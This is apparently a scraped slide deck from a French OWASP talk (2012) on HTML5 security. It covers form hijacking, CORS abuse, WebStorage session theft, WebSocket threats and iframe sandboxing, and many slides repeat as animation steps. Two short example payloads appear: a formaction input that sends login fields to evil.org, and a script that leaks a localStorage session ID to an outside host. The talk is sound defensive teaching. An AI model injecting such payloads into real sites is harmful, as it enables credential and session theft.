105
The OWASP Foundation http://www.owasp.org et la Sécurité ou comment les Poneys envahissent le Web 3.0... Sébastien Gioria French OWASP Leader Global Education Committee Paris - 7 Février 2012 Wednesday, February 8, 12

2011 02-07-html5-security-v1

Embed Size (px)

DESCRIPTION

Présentation effectuée sur HTML5 aux MSTechDays 2012

Citation preview

Page 1: 2011 02-07-html5-security-v1

The OWASP Foundationhttp://www.owasp.org

et la Sécurité ou comment les Poneys envahissent le Web 3.0...

Sébastien GioriaFrench OWASP Leader

Global Education Committee

Paris - 7 Février 2012

Wednesday, February 8, 12

Page 2: 2011 02-07-html5-security-v1

Agenda•Un peu d’histoire

•HTML5 pour les nuls en 4mn 2s

•Nouvelles attaques et protections ?

•Références

2Wednesday, February 8, 12

Page 3: 2011 02-07-html5-security-v1

Back to the past201220001995

3

HTML 2.0 HTML 4.0 HTML 5 ?

CSS 2

1998 2005

CSS 3

JavaScriptla DOM XmlHttpRequest

Wednesday, February 8, 12

Page 4: 2011 02-07-html5-security-v1

4Wednesday, February 8, 12

Page 5: 2011 02-07-html5-security-v1

ELEMENTS INTERESSANTS DE HTML5

5Wednesday, February 8, 12

Page 6: 2011 02-07-html5-security-v1

4mn 2sNouvelles balises

• On n’est pas la pour parler de peinture...

Nouvelles APIs

• WebSocket

• WebMessaging

• IndexedDB

• OffLine Web Application

• WebStorage (votre nouveau DropBox ? ...)

• Cross Origin Ressource Sharing (déja rien que le nom est intéressant...)

6Wednesday, February 8, 12

Page 7: 2011 02-07-html5-security-v1

4mn 2sWebSocket : Permet d’effectuer des connexions

persistantes et bi-directionnelles

• mécanisme de “Push” possible

• interface en cours de finalisation/spécifications

• nécessite un serveur “compatible”

• API minimaliste (send, receive via event)

• http://www.w3.org/TR/websockets/

7Wednesday, February 8, 12

Page 8: 2011 02-07-html5-security-v1

4mn 2sWebMessaging : communication inter-documents

HTML

• via la méthode window.postMessage();

• pas de garantie de contenu inoffensif (ie; pas de filtre de type anti-XSS ....)

• vérification de l’origine a la charge de l’application receptrice.

• il est possible de transporter du JSON :)

• http://www.w3.org/TR/webmessaging/8

Wednesday, February 8, 12

Page 9: 2011 02-07-html5-security-v1

4mn 2sIndexedDB; la Web SQL Database...

•API synchrone et asynchrone

•pensée pour JavaScript; stockage d’objets

•http://www.w3.org/TR/IndexedDB/

9Wednesday, February 8, 12

Page 10: 2011 02-07-html5-security-v1

4mn 2sOffline Web Applications: possibilité

d’exécuter tout ou partie des applications même déconnecté.

• via navigator.onLine

• mise en cache des données nécessaires(HTML, CSS, JavaScript...)

• http://www.w3.org/TR/html5/offline.html

10Wednesday, February 8, 12

Page 11: 2011 02-07-html5-security-v1

4mn 2sWebStorage : donne la capacité au navigateur

de stocker jusqu’a 5Mo à 10Mo de données

•deux type de stockage : local ou de session

•possibilité de stocker des objets JSON

•possibilité de stocker de manière régulière

•http://www.w3.org/TR/webstorage/

11Wednesday, February 8, 12

Page 12: 2011 02-07-html5-security-v1

SÉCURITÉ ?

12Wednesday, February 8, 12

Page 13: 2011 02-07-html5-security-v1

OWASP Top Ten 2010

http://www.owasp.org/index.php/Top_10

A1:  Injec-on A2:  Cross  Site  Scrip-ng  (XSS)

A3:  Mauvaise  ges-on  des  sessions  et  de  l’authen-fica-on

A4:Référence  directe  non  sécurisée  à  un  

objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura-on  sécurité

A8:  Mauvaise  restric-on  d’accès  à  

une  URL

A10:    Redirec-ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec-on  insuffisante  lors  du  

transport  des  données

Wednesday, February 8, 12

Page 14: 2011 02-07-html5-security-v1

Falsification de Forms

14

Il est possible de contrôler une Forms en dehors de l’élément “forms”

<form id=“myform” action=“basic.php” > <input type=“text” name=“user” value=“…” /></form>

<input form=“myform” type=“submit” name=“…” value=“Advanced Version”/>

Wednesday, February 8, 12

Page 15: 2011 02-07-html5-security-v1

Falsification Forms

15

<form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /></form>

New VIP section of the site is open!<input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” />

Si on arrive à injecter ce code

Automatiquement, evil.org dispose des éléments et la Forms initiale est appelée

Wednesday, February 8, 12

Page 16: 2011 02-07-html5-security-v1

Protocol/content Handlers

16

Il est possible d’enregistrer des handlers de protocole ou de type de fichiers personalisés

• sms://

• application/pdf

Il est possible (mais pas recommandé) de changer les handlers standards (dépend des navigateurs)

Il n’est pas obligatoire de demander à l’utilisateur son autorisation

Wednesday, February 8, 12

Page 17: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 1/4

XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript.

17Wednesday, February 8, 12

Page 18: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 1/4

XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript.

17Wednesday, February 8, 12

Page 19: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 1/4

XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript.

17

Mais c’etait sans compter les

Wednesday, February 8, 12

Page 20: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 1/4

XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript.

17

HTTP/1.1 200 OKContent-Type: text/htmlAccess-Control-Allow-Origin: http://internal.example.com

Mais c’etait sans compter les

Wednesday, February 8, 12

Page 21: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

poc.ckers.fr

intranet

Wednesday, February 8, 12

Page 22: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

poc.ckers.fr

intranet

Wednesday, February 8, 12

Page 23: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

poc.ckers.fr

intranet

Wednesday, February 8, 12

Page 24: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

poc.ckers.fr

intranet

Wednesday, February 8, 12

Page 25: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

poc.ckers.fr

intranet

Wednesday, February 8, 12

Page 26: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

GET / HTTP/1.1

poc.ckers.fr

intranet

Wednesday, February 8, 12

Page 27: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

GET / HTTP/1.1

poc.ckers.fr

intranet

Wednesday, February 8, 12

Page 28: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

poc.ckers.fr

intranet

Wednesday, February 8, 12

Page 29: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

HTTP/1.1 200 Ok<script>XMLHttpRequest...

poc.ckers.fr

intranet

Wednesday, February 8, 12

Page 30: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

HTTP/1.1 200 Ok<script>XMLHttpRequest...

poc.ckers.fr

intranet

Wednesday, February 8, 12

Page 31: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

poc.ckers.fr

intranet

Wednesday, February 8, 12

Page 32: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

XM

LHT

TPR

eque

st

poc.ckers.fr

intranet

Wednesday, February 8, 12

Page 33: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

XM

LHT

TPR

eque

st

poc.ckers.fr

intranet

Wednesday, February 8, 12

Page 34: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

poc.ckers.fr

intranet

Wednesday, February 8, 12

Page 35: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

HT

TP/

1.1

200

Ok

Acc

ess-

Con

trol

-Allo

w-O

rigi

n: *

poc.ckers.fr

intranet

Wednesday, February 8, 12

Page 36: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

HT

TP/

1.1

200

Ok

Acc

ess-

Con

trol

-Allo

w-O

rigi

n: *

poc.ckers.fr

intranet

Wednesday, February 8, 12

Page 37: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

HT

TP/

1.1

200

Ok

Acc

ess-

Con

trol

-Allo

w-O

rigi

n: *

poc.ckers.fr

intranet

Wednesday, February 8, 12

Page 38: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

HT

TP/

1.1

200

Ok

Acc

ess-

Con

trol

-Allo

w-O

rigi

n: *

poc.ckers.fr

intranet

Wednesday, February 8, 12

Page 39: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

poc.ckers.fr

intranet

Wednesday, February 8, 12

Page 40: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 2/4

Bypass des contrôles d’accès

18

POST /endpoint HTTP/1.1.....(contenu de la page interne)

poc.ckers.fr

intranet

Wednesday, February 8, 12

Page 41: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Page 42: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Page 43: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Page 44: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Page 45: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Page 46: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 3/4

DDOS ?

19

GET / HTTP/1.1

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Page 47: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 3/4

DDOS ?

19

GET / HTTP/1.1

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Page 48: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Page 49: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 3/4

DDOS ?

19

HTTP/1.1 200 Ok<iframe src=...

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Page 50: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Page 51: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Page 52: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Page 53: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Page 54: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 3/4

DDOS ?

19

XMLHttpRequest

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Page 55: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Page 56: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Page 57: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 3/4

DDOS ?

19

XMLHttpRequest

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Page 58: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Page 59: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Page 60: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 3/4

DDOS ?

19

XMLHttpRequest

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Page 61: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 3/4

DDOS ?

19

poc.ckers.fr

www.cible.com

Wednesday, February 8, 12

Page 62: 2011 02-07-html5-security-v1

Cross Origin Resource Sharing 4/4

Contre-mesures :

•Restriction du domaine

•Ne pas faire confiance à l’entete; elle peut être modifiée par l’attaquant.

•Mettre en place des contre-mesures réseaux (pour les DDOS)

20Wednesday, February 8, 12

Page 63: 2011 02-07-html5-security-v1

WebStoragePas de contrôle de la part de l’utilisateur

sur ce qui est stocké/accéder

L’injection de Javascript peut bypasser la limitation du contrôle d’accès.

➡Vol de Sessions

➡Vol de données sensibles

➡Tracking d’utilisateurs

21Wednesday, February 8, 12

Page 64: 2011 02-07-html5-security-v1

WebStorageVol de Sessions; juste un peu plus

compliqué. :

22

<script>document.write("<imgsrc='http://www.mysite.com?sessionID="+localStorage.getItem('SessionID')+"'>");</script>

le flag HTTPOnly des cookies ne fonctionne pas sur les localStorage !

Wednesday, February 8, 12

Page 65: 2011 02-07-html5-security-v1

WebStorageTracking User

23

Les localStorage ne sont pas forcément effacer lorsqu’on efface l’historique

Il est donc possible de créer des identifiants (de type cookies) persistants permettant de suivre l’utilisateur

Wednesday, February 8, 12

Page 66: 2011 02-07-html5-security-v1

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24Wednesday, February 8, 12

Page 67: 2011 02-07-html5-security-v1

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24Wednesday, February 8, 12

Page 68: 2011 02-07-html5-security-v1

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24Wednesday, February 8, 12

Page 69: 2011 02-07-html5-security-v1

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24Wednesday, February 8, 12

Page 70: 2011 02-07-html5-security-v1

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24

GET / HTTP/1.1

Wednesday, February 8, 12

Page 71: 2011 02-07-html5-security-v1

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24

GET / HTTP/1.1

Wednesday, February 8, 12

Page 72: 2011 02-07-html5-security-v1

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24

GET / HTTP/1.1

HTTP/1.1 200 Ok

Wednesday, February 8, 12

Page 73: 2011 02-07-html5-security-v1

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24

GET / HTTP/1.1

HTTP/1.1 200 Ok

Wednesday, February 8, 12

Page 74: 2011 02-07-html5-security-v1

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24

GET / HTTP/1.1

Upgrade WebSocket

HTTP/1.1 200 Ok

Wednesday, February 8, 12

Page 75: 2011 02-07-html5-security-v1

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24

GET / HTTP/1.1

Upgrade WebSocket

HTTP/1.1 200 Ok

Wednesday, February 8, 12

Page 76: 2011 02-07-html5-security-v1

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24

GET / HTTP/1.1

Upgrade WebSocket

WebSocket Protocl Handshake

HTTP/1.1 200 Ok

Wednesday, February 8, 12

Page 77: 2011 02-07-html5-security-v1

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24

GET / HTTP/1.1

Upgrade WebSocket

WebSocket Protocl Handshake

HTTP/1.1 200 Ok

Wednesday, February 8, 12

Page 78: 2011 02-07-html5-security-v1

WebSocket API :)Possible entre différents domaines

Permettrai de réduire la taille du contenu transporté ?

24

GET / HTTP/1.1

Upgrade WebSocket

WebSocket Protocl Handshake

HTTP/1.1 200 Ok

Tunnel TCP Full Duplex

Wednesday, February 8, 12

Page 79: 2011 02-07-html5-security-v1

Websocket MenacesParmi les attaques possible, certaines sont

triviales:

•Shell Distant

•Botnet Web

• via un XSS ou tout simplement en se connectant à un site Web.

•Port scanning...

25Wednesday, February 8, 12

Page 80: 2011 02-07-html5-security-v1

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

Wednesday, February 8, 12

Page 81: 2011 02-07-html5-security-v1

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

Wednesday, February 8, 12

Page 82: 2011 02-07-html5-security-v1

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

Wednesday, February 8, 12

Page 83: 2011 02-07-html5-security-v1

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

Wednesday, February 8, 12

Page 84: 2011 02-07-html5-security-v1

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

Wednesday, February 8, 12

Page 85: 2011 02-07-html5-security-v1

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

Wednesday, February 8, 12

Page 86: 2011 02-07-html5-security-v1

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

HTTP/1.1 200 Ok

Wednesday, February 8, 12

Page 87: 2011 02-07-html5-security-v1

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

HTTP/1.1 200 Ok

Wednesday, February 8, 12

Page 88: 2011 02-07-html5-security-v1

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

Upgrade WebSocket

HTTP/1.1 200 Ok

Wednesday, February 8, 12

Page 89: 2011 02-07-html5-security-v1

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

Upgrade WebSocket

HTTP/1.1 200 Ok

Wednesday, February 8, 12

Page 90: 2011 02-07-html5-security-v1

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

Upgrade WebSocket

WebSocket Protocol Handshake

HTTP/1.1 200 Ok

Wednesday, February 8, 12

Page 91: 2011 02-07-html5-security-v1

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

Upgrade WebSocket

WebSocket Protocol Handshake

HTTP/1.1 200 Ok

Wednesday, February 8, 12

Page 92: 2011 02-07-html5-security-v1

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

Upgrade WebSocket

WebSocket Protocol Handshake

HTTP/1.1 200 Ok

Wednesday, February 8, 12

Page 93: 2011 02-07-html5-security-v1

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

Upgrade WebSocket

WebSocket Protocol Handshake

HTTP/1.1 200 Ok

GET / HTTP/1.1Host: some.host.com

Wednesday, February 8, 12

Page 94: 2011 02-07-html5-security-v1

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

Upgrade WebSocket

WebSocket Protocol Handshake

HTTP/1.1 200 Ok

GET / HTTP/1.1Host: some.host.com

Wednesday, February 8, 12

Page 95: 2011 02-07-html5-security-v1

WebSocket•Empoisonnement de cache de proxy

26

Proxy Transparent

GET / HTTP/1.1

Upgrade WebSocket

WebSocket Protocol Handshake

HTTP/1.1 200 Ok

GET / HTTP/1.1Host: some.host.com

HTTP/1.1 200 OkContenu falsifié

Wednesday, February 8, 12

Page 96: 2011 02-07-html5-security-v1

OffLine Web Application

•Possibilité d’avoir des attaques de Type APT ?

•Possibilité de pollution des caches de navigateurs (via un point d’accès malveillant); meme du SSL

27

<!DOCTYPE HTML><html manifest="/cache.manifest"><body>

Wednesday, February 8, 12

Page 97: 2011 02-07-html5-security-v1

WebMessage•Possibilité de perte de données sensibles

(si envoyées à une “mauvaise iframe”)

28

<iframe src=”outside.control”

postMessage()Page du site “interne”

Wednesday, February 8, 12

Page 98: 2011 02-07-html5-security-v1

API GeolocationPossibilité de découvrir le lieu ou se trouve

l’utilisateur (sous reserve d’avoir un GPS, ou autre système).

Perte de données de vie privée...

29Wednesday, February 8, 12

Page 99: 2011 02-07-html5-security-v1

Bac a sable des iframes

Par défaut si rien n’est précisé :

•Les formulaires, scripts et plug-ins sont désactivés.

•Pas d’accès aux éléments stockés en local (cookies, sessionStorage, localStorage).

•Par d’AJAX

•Les liens ne peuvent cibler d’autres frames

•Le contenu est considéré externe (pas d’accès à la DOM)

30

<iframe sandbox="....."src="http://monsite.com/index.html"></iframe>

Wednesday, February 8, 12

Page 100: 2011 02-07-html5-security-v1

Bac a sable des iframes

Lever les restrictions :

•allow-same-origin : autorise le contenu a être traité comme de la même origine est pas externe

•allow-top-navigation : l’iframe peut accéder à la navigation de niveau supérieur

•allow-forms : autorise les formulaires

•allow- scripts : les scripts (hors popup) sont autorisés

31

Les navigateurs ne supportent pas tous ces éléments !

Wednesday, February 8, 12

Page 101: 2011 02-07-html5-security-v1

Autres points importantsLes longs traitements en JavaScript

“plantaient” les navigateurs.

Les WebWorkers permettent de lancer des JavaScript en tache de fond

32

DDOS avec CORS & WebWorkers

Calculs distribués (cf Ravan)

Wednesday, February 8, 12

Page 102: 2011 02-07-html5-security-v1

Autres Points importantsCSS3 introduit de nouvelles capacités à

injecter du code JavaScript

33

Nouvelles capacités au ClickJacking

Wednesday, February 8, 12

Page 103: 2011 02-07-html5-security-v1

ConclusionPlein de nouvelles API interessantes pour

le développeur

34

L’ouverture se fait au détriment de la sécurité....

Une surface d’attaque accrue

La belle part au JavaScript (qui peut s’executer sans consentement utilisateur)

Wednesday, February 8, 12

Page 104: 2011 02-07-html5-security-v1

ww.html5test.com

35Wednesday, February 8, 12

Page 105: 2011 02-07-html5-security-v1

Quelques Sites a suivre..

http://www.w3.org/TR/html5/ : le standard

https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

http://www.caniuse.com : liste des différents supports d’API par navigateur

http://www.html5test.com : le support de VOTRE navigateur vis a vis de la norme.

36Wednesday, February 8, 12